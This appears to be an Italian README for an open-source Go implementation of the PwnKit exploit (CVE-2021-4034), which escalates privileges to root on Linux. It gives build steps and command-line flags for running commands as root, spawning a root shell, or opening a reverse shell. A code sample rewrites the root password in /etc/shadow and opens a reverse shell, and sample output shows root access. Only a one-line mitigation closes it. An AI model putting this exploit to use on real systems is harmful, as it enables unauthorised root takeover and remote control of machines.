
Implementazione in Go dell'exploit PwnKit per l'escalation dei privilegi locali su Linux (CVE-2021-4034)
Un'implementazione in puro Go dell'exploit CVE-2021-4034 PwnKit.
L'exploit utilizza syscall.ForkExec per sopravvivere alla fine del programma principale.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
Poiché l'exploit si basa su una libreria condivisa dannosa, un file PWN.so viene generato da payload.go e incorporato nell'eseguibile exploit risultante.
Il Makefile utilizza sed per cambiare temporaneamente il nome del pacchetto del file payload.go in main, rendendo quindi questo Makefile utilizzabile solo su Linux.
Poiché il payload Go non è affidabile quanto quello C, il Makefile compilerà l'exploit con il payload C per impostazione predefinita. Puoi scegliere di compilare con il payload Go usando make build_go.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
L'exploit può essere utilizzato con un comando (-c), come reverse-shell (-r) o per generare una shell root (-s).
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Nota: poiché Command e RevShell utilizzano syscall.ForkExec per eseguire l'exploit, i processi risultanti sono separati dal programma principale e sopravvivono alla sua fine.
Sebbene go-PwnKit possa essere importato nel tuo progetto da Github, non dimenticare che eseguirai una libreria condivisa non attendibile come root. L'uso di un PWN.so compilato localmente è quindi altamente raccomandato. Solo per dire 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
Applica la patch a pkexec se possibile, altrimenti disabilita il bit setuid sul binario pkexec.
chmod 0755 /usr/bin/pkexec
Questo progetto è ispirato a diversi altri PoC dell'exploit PwnKit.
Grazie a An00bRektn per la configurazione dell'exploit semplice e diretta.
Grazie a PaterGottesman e berdav per la chiarezza della spiegazione dell'exploit.
Grazie a dzonerzy per il trucco GIO_USE_VFS.